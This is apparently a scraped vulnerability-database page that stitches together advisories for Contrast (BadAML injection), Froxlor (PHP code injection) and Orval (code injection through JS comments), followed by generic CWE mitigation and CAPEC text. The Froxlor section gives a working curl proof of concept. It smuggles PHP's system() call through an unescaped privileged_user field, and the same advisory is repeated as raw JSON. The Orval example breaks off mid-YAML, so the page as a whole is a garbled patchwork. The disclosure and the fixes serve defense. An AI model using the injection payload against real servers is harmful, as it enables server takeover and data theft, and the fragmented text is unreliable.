Summary
Contrast BadAML injection allows arbitrary code execution
Details

BadAML

BadAML is an AML injection attack that exploits the ACPI interface and allows arbitrary code execution in a confidential VM. The attack was first published in 2024:

Impact

An attacker with control over the host (which is assumed in the attacker model of Contrast) can execute malicious AML code to gain arbitrary code execution within the confidential guest.

AML is byte code embedded in ACPI tables that are passed from the host (QEMU) to the guest firmware (OVMF), and then passed from OVMF to the Linux kernel. The Linux kernel has an interpreter that executes the AML code. An attacker can craft a table with malicious AML code and the kernel will execute it. AML is Turing-complete and the interpreter has access to the full guest memory, including private pages.

See the paper for a detailed description and background of the attack.

Note that this is not a vulnerability specific to Contrast, but rather a generic vulnerability in Confidential Computing setups that use the ACPI interface.

Affected platforms

This issue affects the SNP platforms supported by Contrast: Metal-QEMU-SNP and Metal-QEMU-SNP-GPU. Users on these platforms should switch to the fixed Contrast version immediately.

Metal-QEMU-TDX isn't affected, as the content of the ACPI tables is covered by the runtime measurements (measured into RTMR 0 by OVMF) on Intel TDX.

Patches

A sandbox similar to the one proposed in the paper has been implemented in the Linux kernel used by Contrast. The sandbox denies access to private memory pages by doing a page table lookup on every read/write by the AML interpreter.

This mitigates the attack completely: While an attacker can still run AML code, the code cannot read or modify private memory pages. Shared pages are readable/writable by the host hypervisor anyway.

Vulnerability from github – Published: 2026-04-16 00:50 – Updated: 2026-04-24 20:53
VLAI
Summary
Froxlor has a PHP Code Injection via Unescaped Single Quotes in userdata.inc.php Generation (MysqlServer API)
Details

Summary

PhpHelper::parseArrayToString() writes string values into single-quoted PHP string literals without escaping single quotes. When an admin with change_serversettings permission adds or updates a MySQL server via the API, the privileged_user parameter (which has no input validation) is written unescaped into lib/userdata.inc.php. Since this file is required on every request via Database::getDB(), an attacker can inject arbitrary PHP code that executes as the web server user on every subsequent page load.

Details

The root cause is in PhpHelper::parseArrayToString() at lib/Froxlor/PhpHelper.php:486:

// lib/Froxlor/PhpHelper.php:475-487
foreach ($array as $key => $value) {
    if (!is_array($value)) {
        if (is_bool($value)) {
            $str .= self::tabPrefix($depth, sprintf("'%s' => %s,\n", $key, $value ? 'true' : 'false'));
        } elseif (is_int($value)) {
            $str .= self::tabPrefix($depth, "'{$key}' => $value,\n");
        } else {
            if ($key == 'password') {
                // special case for passwords (nowdoc)
                $str .= self::tabPrefix($depth, "'{$key}' => <<<'EOT'\n{$value}\nEOT,\n");
            } else {
                // VULNERABLE: $value interpolated without escaping single quotes
                $str .= self::tabPrefix($depth, "'{$key}' => '{$value}',\n");
            }
        }
    }
}

Note that the password key receives special treatment via nowdoc syntax (line 484), which is safe because nowdoc does not interpret any escape sequences or variable interpolation. However, all other string keys — including user, caption, and caFile — are written directly into single-quoted PHP string literals with no escaping.

The attack path through MysqlServer::add() (lib/Froxlor/Api/Commands/MysqlServer.php:80):

  1. validateAccess() (line 82) checks the caller is an admin with change_serversettings
  2. privileged_user is read via getParam() at line 88 with no validation applied
  3. mysql_ca is also read with no validation at line 86
  4. The values are placed into the $sql_root array at lines 150-160
  5. generateNewUserData() is called at line 162, which calls PhpHelper::parseArrayToPhpFile()parseArrayToString()
  6. The result is written to lib/userdata.inc.php via file_put_contents() (line 548)
  7. Setting test_connection=0 (line 92, 110) skips the PDO connection test, so no valid MySQL credentials are needed

The generated userdata.inc.php is loaded on every request via Database::getDB() at lib/Froxlor/Database/Database.php:431:

require Froxlor::getInstallDir() . "/lib/userdata.inc.php";

The MysqlServer::update() method (line 337) has the identical vulnerability with privileged_user at line 387.

PoC

Step 1: Inject PHP code via MysqlServer.add API

curl -s -X POST https://froxlor.example/api.php \
  -u 'ADMIN_APIKEY:ADMIN_APISECRET' \
  -H 'Content-Type: application/json' \
  -d '{
    "command": "MysqlServer.add",
    "params": {
      "mysql_host": "127.0.0.1",
      "mysql_port": 3306,
      "privileged_user": "x'\''.system(\"id\").'\''",
      "privileged_password": "anything",
      "description": "test",
      "test_connection": 0
    }
  }'

This writes the following into lib/userdata.inc.php:

'user' => 'x'.system("id").'',

Step 2: Trigger code execution

Any subsequent HTTP request to the Froxlor panel triggers Database::getDB(), which requires userdata.inc.php, executing system("id") as the web server user:

curl -s https://froxlor.example/

The id output will appear in the response (or can be captured via out-of-band methods for blind execution).

Step 3: Cleanup (attacker would also clean up)

The injected code runs on every request until userdata.inc.php is regenerated or manually fixed.

Impact

An admin with change_serversettings permission can escalate to arbitrary OS command execution as the web server user. This represents a scope change from the Froxlor application boundary to the underlying operating system:

  • Full server compromise: Execute arbitrary commands as the web server user (typically www-data)
  • Data exfiltration: Read all hosted customer data, databases credentials, TLS private keys
  • Lateral movement: Access all MySQL databases using credentials stored in userdata.inc.php
  • Persistent backdoor: The injected code executes on every request, providing persistent access
  • Denial of service: Malformed PHP in userdata.inc.php can break the entire panel

The description field (validated with REGEX_DESC_TEXT = /^[^\0\r\n<>]*$/) and mysql_ca field (no validation) are also injectable vectors through the same code path.

Recommended Fix

Escape single quotes in PhpHelper::parseArrayToString() before interpolating values into single-quoted PHP string literals. In single-quoted PHP strings, only \' and \\ are interpreted, so both must be escaped:

// lib/Froxlor/PhpHelper.php:486
// Before (vulnerable):
$str .= self::tabPrefix($depth, "'{$key}' => '{$value}',\n");

// After (fixed) - escape backslashes first, then single quotes:
$escaped = str_replace(['\\', "'"], ['\\\\', "\\'"], $value);
$str .= self::tabPrefix($depth, "'{$key}' => '{$escaped}',\n");

Alternatively, use the same nowdoc syntax already used for passwords for all string values, which provides complete injection safety:

// Apply nowdoc to all string values, not just passwords:
$str .= self::tabPrefix($depth, "'{$key}' => <<<'EOT'\n{$value}\nEOT,\n");

Additionally, consider adding input validation to privileged_user and mysql_ca in MysqlServer::add() and MysqlServer::update() as defense-in-depth.

  "details": "## Summary\n\n`PhpHelper::parseArrayToString()` writes string values into single-quoted PHP string literals without escaping single quotes. When an admin with `change_serversettings` permission adds or updates a MySQL server via the API, the `privileged_user` parameter (which has no input validation) is written unescaped into `lib/userdata.inc.php`. Since this file is `require`d on every request via `Database::getDB()`, an attacker can inject arbitrary PHP code that executes as the web server user on every subsequent page load.\n\n## Details\n\nThe root cause is in `PhpHelper::parseArrayToString()` at `lib/Froxlor/PhpHelper.php:486`:\n\n```php\n// lib/Froxlor/PhpHelper.php:475-487\nforeach ($array as $key =\u003e $value) {\n    if (!is_array($value)) {\n        if (is_bool($value)) {\n            $str .= self::tabPrefix($depth, sprintf(\"\u0027%s\u0027 =\u003e %s,\\n\", $key, $value ? \u0027true\u0027 : \u0027false\u0027));\n        } elseif (is_int($value)) {\n            $str .= self::tabPrefix($depth, \"\u0027{$key}\u0027 =\u003e $value,\\n\");\n        } else {\n            if ($key == \u0027password\u0027) {\n                // special case for passwords (nowdoc)\n                $str .= self::tabPrefix($depth, \"\u0027{$key}\u0027 =\u003e \u003c\u003c\u003c\u0027EOT\u0027\\n{$value}\\nEOT,\\n\");\n            } else {\n                // VULNERABLE: $value interpolated without escaping single quotes\n                $str .= self::tabPrefix($depth, \"\u0027{$key}\u0027 =\u003e \u0027{$value}\u0027,\\n\");\n            }\n        }\n    }\n}\n```\n\nNote that the `password` key receives special treatment via nowdoc syntax (line 484), which is safe because nowdoc does not interpret any escape sequences or variable interpolation. However, all other string keys \u2014 including `user`, `caption`, and `caFile` \u2014 are written directly into single-quoted PHP string literals with no escaping.\n\nThe attack path through `MysqlServer::add()` (`lib/Froxlor/Api/Commands/MysqlServer.php:80`):\n\n1. `validateAccess()` (line 82) checks the caller is an admin with `change_serversettings`\n2. `privileged_user` is read via `getParam()` at line 88 with **no validation** applied\n3. `mysql_ca` is also read with no validation at line 86\n4. The values are placed into the `$sql_root` array at lines 150-160\n5. `generateNewUserData()` is called at line 162, which calls `PhpHelper::parseArrayToPhpFile()` \u2192 `parseArrayToString()`\n6. The result is written to `lib/userdata.inc.php` via `file_put_contents()` (line 548)\n7. Setting `test_connection=0` (line 92, 110) skips the PDO connection test, so no valid MySQL credentials are needed\n\nThe generated `userdata.inc.php` is loaded on **every request** via `Database::getDB()` at `lib/Froxlor/Database/Database.php:431`:\n\n```php\nrequire Froxlor::getInstallDir() . \"/lib/userdata.inc.php\";\n```\n\nThe `MysqlServer::update()` method (line 337) has the identical vulnerability with `privileged_user` at line 387.\n\n## PoC\n\n**Step 1: Inject PHP code via MysqlServer.add API**\n\n```bash\ncurl -s -X POST https://froxlor.example/api.php \\\n  -u \u0027ADMIN_APIKEY:ADMIN_APISECRET\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\n    \"command\": \"MysqlServer.add\",\n    \"params\": {\n      \"mysql_host\": \"127.0.0.1\",\n      \"mysql_port\": 3306,\n      \"privileged_user\": \"x\u0027\\\u0027\u0027.system(\\\"id\\\").\u0027\\\u0027\u0027\",\n      \"privileged_password\": \"anything\",\n      \"description\": \"test\",\n      \"test_connection\": 0\n    }\n  }\u0027\n```\n\nThis writes the following into `lib/userdata.inc.php`:\n\n```php\n\u0027user\u0027 =\u003e \u0027x\u0027.system(\"id\").\u0027\u0027,\n```\n\n**Step 2: Trigger code execution**\n\nAny subsequent HTTP request to the Froxlor panel triggers `Database::getDB()`, which `require`s `userdata.inc.php`, executing `system(\"id\")` as the web server user:\n\n```bash\ncurl -s https://froxlor.example/\n```\n\nThe `id` output will appear in the response (or can be captured via out-of-band methods for blind execution).\n\n**Step 3: Cleanup (attacker would also clean up)**\n\nThe injected code runs on every request until `userdata.inc.php` is regenerated or manually fixed.\n\n## Impact\n\nAn admin with `change_serversettings` permission can escalate to **arbitrary OS command execution** as the web server user. This represents a scope change from the Froxlor application boundary to the underlying operating system:\n\n- **Full server compromise**: Execute arbitrary commands as the web server user (typically `www-data`)\n- **Data exfiltration**: Read all hosted customer data, databases credentials, TLS private keys\n- **Lateral movement**: Access all MySQL databases using credentials stored in `userdata.inc.php`\n- **Persistent backdoor**: The injected code executes on every request, providing persistent access\n- **Denial of service**: Malformed PHP in `userdata.inc.php` can break the entire panel\n\nThe `description` field (validated with `REGEX_DESC_TEXT = /^[^\\0\\r\\n\u003c\u003e]*$/`) and `mysql_ca` field (no validation) are also injectable vectors through the same code path.\n\n## Recommended Fix\n\nEscape single quotes in `PhpHelper::parseArrayToString()` before interpolating values into single-quoted PHP string literals. In single-quoted PHP strings, only `\\\u0027` and `\\\\` are interpreted, so both must be escaped:\n\n```php\n// lib/Froxlor/PhpHelper.php:486\n// Before (vulnerable):\n$str .= self::tabPrefix($depth, \"\u0027{$key}\u0027 =\u003e \u0027{$value}\u0027,\\n\");\n\n// After (fixed) - escape backslashes first, then single quotes:\n$escaped = str_replace([\u0027\\\\\u0027, \"\u0027\"], [\u0027\\\\\\\\\u0027, \"\\\\\u0027\"], $value);\n$str .= self::tabPrefix($depth, \"\u0027{$key}\u0027 =\u003e \u0027{$escaped}\u0027,\\n\");\n```\n\nAlternatively, use the same nowdoc syntax already used for passwords for all string values, which provides complete injection safety:\n\n```php\n// Apply nowdoc to all string values, not just passwords:\n$str .= self::tabPrefix($depth, \"\u0027{$key}\u0027 =\u003e \u003c\u003c\u003c\u0027EOT\u0027\\n{$value}\\nEOT,\\n\");\n```\n\nAdditionally, consider adding input validation to `privileged_user` and `mysql_ca` in `MysqlServer::add()` and `MysqlServer::update()` as defense-in-depth.",

Summary
Orval has Code Injection via unsanitized x-enum-descriptions using JS comments
Details

CVE-2026-23947 had an incomplete fix

While the current jsStringEscape function properly handles single quotes ('), double quotes (") and other characters, it fails to sanitize * and / characters. This allows attackers to break out of JavaScript comment blocks using */ sequences and inject arbitrary code into generated files.

Example:

openapi: 3.0.4
info:
  title: Enum PoC
  version: "1.0.0"

paths:
  /ping:
    get:
      operationId: ping
      responses:
        "200":
          description: ok
          content:
            application/json:
              schema:
                $ref: "#/components/schemas/EvilEnum"

components:
  schemas:
    EvilEnum:
      type: string
      enum:
        - PWNED
      x-enumDescriptions:

Mitigation
Architecture and Design

Strategy: Refactoring

Refactor your program so that you do not have to dynamically generate code.

Mitigation
Architecture and Design
  • Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
  • Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Mitigation MIT-32
Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation
Implementation

For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

CAPEC-242: Code Injection

An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.
